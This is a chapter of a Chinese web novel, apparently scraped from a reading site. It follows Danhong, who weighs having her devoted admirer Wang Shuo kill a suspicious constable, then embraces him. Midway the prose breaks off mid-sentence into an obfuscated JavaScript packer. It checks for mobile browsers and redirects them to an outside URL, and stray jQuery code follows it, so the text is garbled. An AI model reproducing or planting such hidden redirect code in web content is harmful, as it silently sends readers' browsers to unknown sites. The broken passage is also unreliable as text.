逃妾拥风听乐

31. 喜欢

    丹红闭上眼眸,贴在王槊的心口聆听锤鼓般的心跳。


    她的心口也燃烧着一团火。


    可里边却流淌出罪恶的毒汁。


    从她被困牢狱走投无路,只得踏上流放之路后,就不再相信男人口中的爱。


    即便卓怀英一路上对她多有照拂,甚至承担下杀人的罪名,还因此受罚,现在只能在北地做一个小小的衙役。


    可北地的风雪太大,再热忱的心也能被吹凉。


    谁不想念莫都的温暖如春?


    一旦卓怀英从名为“情爱”的泥沼中脱身,清醒过来的他立马就能撤回从前为丹红顶罪的“馈赠”,再由当日丹红杀人逃跑的事件推测,很快就会从那方丝帕怀疑到丹红身上。


    丹红先时给错了反应。


    她在卓怀英以丝帕相问时稍稍乱了方寸,急于让他闭嘴不再深究,却过犹不及,表现得太激烈,让他意识到范文和丹红之间牵连很深。


    这太危险了。


    每每思及这个错漏,丹红内省的同时,也不忘怨怼卓怀英。


    既然喜爱,那就合该帮她把这件事瞒下来,不论这件事和她有何关系,沾上范家这个案子总归是惹一身骚,还跑来问她做什么?


    若是尽忠职守,那就直接提审她。


    兵来将挡,水来土掩。


    丹红在策划复仇之前,就已经做好应付官府的准备。


    结果卓怀英竟然暗地里拿这件事来询问自己,并且只给她一个虚无缥缈的承诺,害得她要费神思索如何解决这个问题,着实可恶。


    不过弥补这个失误的办法也很简单。


    杀了他。


    还有个现成的理由就在丹红面前。


    两个爱慕着同一个女人的男子,在情爱上头的时候,做出什么过激的举动都不为过。


    丹红也毫不怀疑自己能挑动王槊按照她的构想行事。


    可是……


    丹红伸手环抱住王槊的腰身。


    她有点舍不得。


    在寒风阵阵的北地,能有这样一个如热火般燃烧的家伙,迫切又克制地挨在她身边。


    他是榆木脑袋,却能让自己轻易点燃,在冬日里温暖着她。


    这种一切都能在她掌控之中的感觉太过美妙。


    他爱她。


    丹红从很早之前就无比清晰的意识到这一点。


    他对她的爱,卑微到尘埃中,又热烈到天宇间,深沉的爱甚至让他不像一个拥有自己喜怒哀乐的人,他的一切都仿佛在围绕着丹红而存在。


    他面对丹红时,只有那一点醋意,会带来些微对抗。


    无力到一推就倒。


    偶尔,丹红也会好奇,在自己离开雁村的十几年里,王槊又是一副怎样的面貌呢?


    虽然对自己的魅力很有自信。


    可丹红总也想不通,怎么会有人惦记着儿时恋慕的人,在对方再次出现于自己的世界后,如此激烈又沉默的爱着呢?


    所以丹红好奇着没有她的王槊是什么模样。


    但只是好奇。


    她与刘珠说说笑笑、拌嘴吵闹这么长时间,甚至没有一次问及王槊从前的生活,偶尔才从刘珠的埋怨里听到几分王槊对她长久的思念。


    每每这时候,好奇就会在心头翻一下,又埋下去。


    这与她无关。


    她从不觉得自己需要回应相同的爱,自然也不会去深究王槊的爱从何而来。


    于丹红而言,她只需要确认爱的深度,能够支撑她做多少事。


    这段时间发生了许多事,这些事一遍又一遍的证明,王槊对她的爱没有底线可言。


    ——也许王槊本就是个没有底线的人。


    丹红曾在过去的某个瞬间,闪过这样的念头,并为自己以小人之心度人发笑。


    不过,此时倚靠在王槊怀中的丹红却什么都没在想。


    她平静地感受着那激烈到要从心口撞出来的心跳声。


    这样一个能干的人。


    这样一个全心全意爱着她,竭尽全力托举着她的人。


    没有到生死一线,抑或是功成身就的时候,她怎么舍得抛下他?


    此时此刻,被紧紧抱住的王槊,全然不知她这副微凉的柔软皮囊下是怎样的铁石心肠。


    也许是王槊身强体壮。


    在这寒夜冷风中干杵了这么久,他竟还似火炉般暖烘烘。


    丹红一贯畏寒,在外边跑了这么长时间,披着夜色回来,早冻得指尖发白。


    这会儿抱住一个大火炉,她情不自禁地发出一声满足的喟叹。


    离得这么近,王槊又惯常耳聪目明,如何听不到这声仿佛心满意足的叹息?


    王槊是干涸的,死板的。


    是北地的风霜打出来的虬结大树,在寒日里死气沉沉得像一株枯木。


    于是这轻飘飘的气声,成为瞬间点燃了干燥木头的火星。


    不,不对。


    蒸腾出的热气,更像雪下难以压抑的绿苗,在敏锐察觉到回暖后迅速抽枝,破开这股强锁情绪的空白冰雪。


    王槊闭上眼。


    他觉得自己是个无可救药的犯人。


    明明在几个时辰前,他还在反思自己意图窥探丹红过去的行为,但现在,他依旧我行我素。


    甚至变本加厉。


    想要将怀中柔软的、温热的躯体揉到自己身体里那般紧紧揽住她。


    停下!


    脑海中有一道疾言厉色的声音。


    不。


    他小声又坚定地回答。


    被王槊突然发狠摁在他心口上的丹红,此时心中却是一片苍凉。


    真的,得叫王槊多穿几件衣裳。


    就算他不冷也得穿!


    王槊身上的热气,就像他的动作一样,汹涌地扑过来,包裹着丹红。


    鼻尖能嗅到这股热气蒸腾出的味道,一种丹红从未闻过又难以形容的味道,不难闻,却带着一种让人头晕目眩的温度,像火舌舔上松木,松油在烈焰中弥散的气味。


    这衣裳太单薄了。


    拦不住这股莫名涌出的气味。


    更不会对丹红面颊下枕着的胸膛起到什么掩盖的作用。


    不过是施加些许下压的力道,就能感受到这层有力的肌肉被一层薄薄的皮包裹,柔软细腻的触感隔着单衣都能清晰感受到,胸口因为情绪的激荡来回起伏,这一大块肌肉也不断的绷紧又放松。


    被绷起来,又被压着陷下去。


    奇怪的是并不难受。


    丹红甚至有点享受这种接触带来的奇异感受。


    但耳边的心跳声太响了。


    丹红已经有点分不清这颗吵闹的心脏究竟是在谁的胸膛里。


    该死。


    丹红的心口鼓噪的像是要炸开。


    她觉得自己现在兴奋到无以复加。


    头不由自主地往上抬了抬,搁在王槊宽厚的肩膀上,额间微微一偏就能贴上他流淌着血液的动脉,倾听到对方与她同步的心跳声。


    那种游刃有余的态度,在面对王槊时再次一败涂地。


    算了。丹红


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255499|162026||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想。


    就暂时抛却一切念头,紧紧抱住他。


    两根绷紧的弦,在各自战栗的同时感知着对方的旋律,模糊了自己的节奏。


    其实有点傻。


    丹红一心二用地想着。


    天已经完全黑下来,风也凉嗖嗖的吹着。


    他们两个居然什么事不敢,就这样站在大门口抱着。


    太傻了。


    真想抱不能到屋里抱吗?


    屋里还暖和些。


    难不成怕隔壁屋的耳背老太太听见动静不成?


    他们又不做什么……


    丹红这样想着,福至心灵般一抬眼,瞧见心里念叨的那位老太太正站在台阶上,门口灯光蔓延不到的地方,耷拉着眼看着他们。


    丹红:……


    她被吓得一把推开紧搂自己的王槊。


    猝不及防的王槊茫然地顺着丹红的目光往后看。


    而后同样被他无声无息出现在身后的老娘吓了一跳,人高马大的家伙竟显出几分局促不安般,虚虚唤了声“娘”。


    刘珠却没应。


    她抬着头,目光越过门口暖黄的灯,望向外边黑洞洞的天。


    也不知道究竟在看些什么。


    这样的动作神态瞧着有些奇怪,像是在看什么虚无飘渺的存在。


    王槊已经快步上前,伸手要搀扶着刘珠进屋。


    倒是已经恢复平静的丹红,老神在在的往里边走,时不时转头看向刘珠眺望的方向。


    黑幕般的天空上只亮着寥落的几点星光。


    丹红眸光一动。


    心下戏道:这老太太不会是惦记着逝去的人,觉着家门不幸吧?


    她定是瞧见自己和王槊搂在一起的模样。


    虽然前段时间,因些往事,刘珠产生些撮合他们的想法,明里暗里说了许多话。


    但大抵是屡屡在丹红这儿碰钉子。


    又因前日范家出事时,她与王槊深夜回来。


    尽管当夜丹红搪塞一番,刘珠没再多问,可那样彻底的回避态度,显然老太太心底是有疑虑的。


    是以,这会儿的刘珠,保不齐是极不愿意二人牵扯在一起的。


    可那该怎么办呢。


    丹红嘴角挂着笑,目送刘珠蹒跚回到房中。


    待王槊退出房门并小心关上门,再转身时,径直撞入倚靠窗边的丹红眼中。


    她笑眼弯弯,眼尾都弯得像个钩子。


    “过来。”丹红轻声说。


    王槊脚下一顿,随后步履稳健的朝丹红走来。


    太稳健,稳到每一步瞧着都刻意极了。


    他走到丹红面前,还未来得及开口,便被她拽住手臂,一个回身拉进屋里。


    她的屋里还未点上灯。


    黑暗中连呼吸声都格外清晰,身旁人的存在越发明显,哪怕看不清轮廓,也能清楚感受到对方的存在感。


    刚酝酿的“早点睡”被丹红的动作扯散。


    王槊正在思索该怎么开口,带着几分戏谑的清脆声音在耳边响起。


    “喜欢吗?”


    王槊一怔。


    没头没尾的一句话,该如何作答?


    他还没思考个所以然出来,就嘴比脑快脱口而出:


    “喜、喜欢……”


    像是着急回应丹红的话,顾不得究竟是指什么。


    只是无端叫人觉得像是剖白。


    又因着他磕巴语调,让这个足以将丹红尽数笼罩在身躯下的高大男人,生出几分与外貌不符的稚嫩与纯情来。